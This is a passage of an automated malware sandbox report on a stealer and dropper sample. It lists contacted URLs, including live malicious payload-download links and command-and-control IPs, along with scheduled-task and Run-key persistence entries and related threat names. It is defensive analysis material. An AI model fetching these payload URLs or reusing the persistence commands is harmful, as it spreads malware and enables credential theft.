https://aka.ms/msal-client-apps	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exexeU	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dllu	RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/adal-net-broker-redirect-uri-android	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/msal-net-enable-keychain-access	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacesotr	gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://file-link-iota.vercel.app/z#	gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF324A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlla	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.68.138:80GH	RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.10.205.48/$$G	gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/http	oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.softwareok.de/?Download=MagicMouseTrails	gHPYUEh253.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sso2urn:ietf:wg:oauth:2.0:oob	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-up	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.68.138:80	E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000045F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000049D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000436000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpDo6	RegAsm.exe, 0000000B.00000002.2372338745.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrll	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.68.138:80.exe	RegAsm.exe, 0000000C.00000002.2457717800.0000000000536000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.de	oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://194.58.114.223/d/525403C:	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/1	RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.68.138:80.0.3279	RegAsm.exe, 0000000C.00000002.2457717800.000000000049D000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllE	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.68.138/9	RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://file-link-iota.vercel.app:80/ffernifre.exes	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
Http://147.45.68.138:80/sql.dllent-Disposition:	RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-application-configuration.	oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/E	RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/sql.dllTC	RegAsm.exe, 0000000C.00000002.2487784931.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----BAEGCGCGIEGDHIDHJJEHultrelease	RegAsm.exe, 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb	gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1739493501.0000013EF50A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3303000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.176.190.41/p0	RegAsm.exe, 0000000F.00000002.2764817516.000000002D4A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://yip.su:443/1cN8u7	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5001000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://147.45.68.138/Y	RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exerP	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aldiablo.cl/	RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll3	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://195.10.205.48/	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/adal_token_cache_serializationdFailed	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.33	gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF32A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138/ER	RegAsm.exe, 0000000C.00000002.2487784931.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails	gHPYUEh253.exe	false	Avira URL Cloud: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllS	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	ZwL0OipB1WfKucHfLydAfltr.exe.0.dr	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spacelb	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://194.58.114.223/d/525403v	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dllI	RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/adal_token_cache_serialization	oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://file-link-iota.vercel.app:80/ffernifre.exesV	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.176.190.41/2fa883eebd632382.phption:	RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.176.190.41x	RegAsm.exe, 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.chinacloudapi.cn	oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exejJsvsT	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF4FCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138:80b4e8aa51exe	RegAsm.exe, 0000000C.00000002.2457717800.000000000047E000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachmtachm?	gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exexe	RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-iwa	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-up)	gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://195.10.205.48/X	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.00000000048E3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.176.190.41/TO	RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrapp/	gHPYUEh253.exe, 00000000.00000003.1796574204.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1740590110.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1737274767.0000013EF509C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.176.190.41/2fa883eebd632382.php~O	RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yip.su/1cN8u7=	gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
194.58.114.223	unknown	Russian Federation	197695	AS-REGRU	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
186.64.114.115	aldiablo.cl	Chile	52368	ZAMLTDACL	false
195.10.205.48	unknown	Russian Federation	35813	TSSCOM-ASRU	true
188.114.97.3	joxi.net	European Union	13335	CLOUDFLARENETUS	true
76.76.21.123	file-link-iota.vercel.app	United States	16509	AMAZON-02US	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
193.176.190.41	unknown	unknown	207451	AGROSVITUA	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.26.8.59	api.myip.com	United States	13335	CLOUDFLARENETUS	false
147.45.68.138	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501576
Start date and time:	2024-08-30 06:16:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	67
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gHPYUEh253.exe renamed because original name is a hash value
Original Sample Name:	15564517054045e4735b8c627d7f5c0d.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.evad.mine.winEXE@134/99@9/12
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Successful, ratio: 72% Number of executed functions: 255 Number of non-executed functions: 138
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, helsinki-dtc.com, api.check-data.xyz, ctldl.windowsupdate.com, pool.hashvault.pro, www.googleapis.com, www.rapidfilestorage.com, fe3cr.delivery.mp.microsoft.com, clients2.googleusercontent.com, clients2.google.com, api3.check-data.xyz, ocsp.digicert.com, locatedblsoqp.shop, login.live.com, awwardwiqi.shop, api.2ip.ua, umwatson.events.data.microsoft.com, service-domain.xyz, skrptfiles.tracemonitors.com, traineiwnqo.shop
Execution Graph export aborted for target gHPYUEh253.exe, PID 7556 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:17:17	API Interceptor	335x Sleep call for process: RegAsm.exe modified
00:17:25	API Interceptor	8x Sleep call for process: powershell.exe modified
00:17:25	API Interceptor	1x Sleep call for process: WMIC.exe modified
00:17:31	API Interceptor	1x Sleep call for process: ZsQxSfwnc3ehFR9PxEV79BAM.exe modified
00:17:35	API Interceptor	1x Sleep call for process: Install.exe modified
05:17:26	Task Scheduler	Run new task: bGRMUcRlXIkCKIeoVz path: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe s>u3 /hggdidOLc 525403 /S
05:17:36	Task Scheduler	Run new task: lloAzDOsuszFGKMSg path: C:\Windows\Temp\GyCSmFAiAvfejamA\vWUiZCTWPqDpUzR\RRJEdwx.exe s>HY /wNQFdidIh 525403 /S
05:17:58	Task Scheduler	Run new task: LoaenrtJMyyTl2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\zbVZwezRqQdbQsVB\LZvaLra.wsf^""
05:18:37	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\f2b5828c-cfb7-4024-afcd-b5e6d9d271d6\8G7TUoanzGVBa0kCulY_TPPa.exe s>--Task
05:18:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\f2b5828c-cfb7-4024-afcd-b5e6d9d271d6\8G7TUoanzGVBa0kCulY_TPPa.exe" --AutoStart
05:18:44	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
05:18:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\f2b5828c-cfb7-4024-afcd-b5e6d9d271d6\8G7TUoanzGVBa0kCulY_TPPa.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
